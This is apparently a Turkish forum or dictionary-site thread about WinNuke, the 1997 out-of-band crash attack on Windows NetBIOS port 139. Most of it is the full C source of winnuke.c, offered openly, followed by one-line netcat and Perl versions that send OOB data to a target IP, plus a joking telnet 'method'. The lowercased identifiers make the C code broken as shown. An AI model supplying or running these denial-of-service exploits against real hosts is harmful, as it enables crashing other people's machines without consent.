• (bkz: oob)
  • kaynak kodunu da vereyim tam olsun

    /* winnuke.c - (05/07/97) by _eci */
    /* tested on linux 2.0.30, sunos 5.5.1, and bsdi 2.1 */

    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <unistd.h>

    #define dport 139 /* attack port: 139 is what we want */

    int x, s;
    char *str = "bye"; /* makes no diff */
    struct sockaddr_in addr, spoofedaddr;
    struct hostent *host;

    int open_sock(int sock, char *server, int port) {
    struct sockaddr_in blah;
    struct hostent *he;
    bzero((char *)&blah,sizeof(blah));
    blah.sin_family=af_inet;
    blah.sin_addr.s_addr=inet_addr(server);
    blah.sin_port=htons(port);

    if ((he = gethostbyname(server)) != null) {
    bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
    if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
    perror("gethostbyname()");
    return(-3);
    }
    }

    if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
    perror("connect()");
    close(sock);
    return(-4);
    }
    printf("connected to [%s:%d].\n",server,port);
    return;
    }

    void main(int argc, char *argv[]) {

    if (argc != 2) {
    printf("usage: %s <target>\n",argv[0]);
    exit(0);
    }

    if ((s = socket(af_inet, sock_stream, ipproto_tcp)) == -1) {
    perror("socket()");
    exit(-1);
    }

    open_sock(s,argv[1],dport);

    printf("sending crash... ");
    send(s,str,strlen(str),msg_oob);
    usleep(100000);
    printf("done!\n");
    close(s);
    }
  • netcat olan herhangi bir makinede "echo bye | nc ip.adresi 139" seklinde de yapilabilir.
  • telnet olan herhangi bir makinede "telnet ip.adresi 139" yazip baglanti saglaninca sirayla (dikkat sira cok onemli) b, y ve e harflerine basarak yapabilirsiniz.

    eger "couldn't resolve ip.adresi host not found" gibi bir hata aliyorsaniz o zaman bilgisayarinizda virus var demektir, hemen tovbe edip ilce muftulugunuze basvurun.
  • perl'de tek satır kod ile yapılabilen hede...

    perl -mio::socket -e 'io::socket::inet->new(peeraddr=>"1.2.3.4:139")->send("huzursuz_rulaz",msg_oob)'

    şeklinde.
hesabın var mı? giriş yap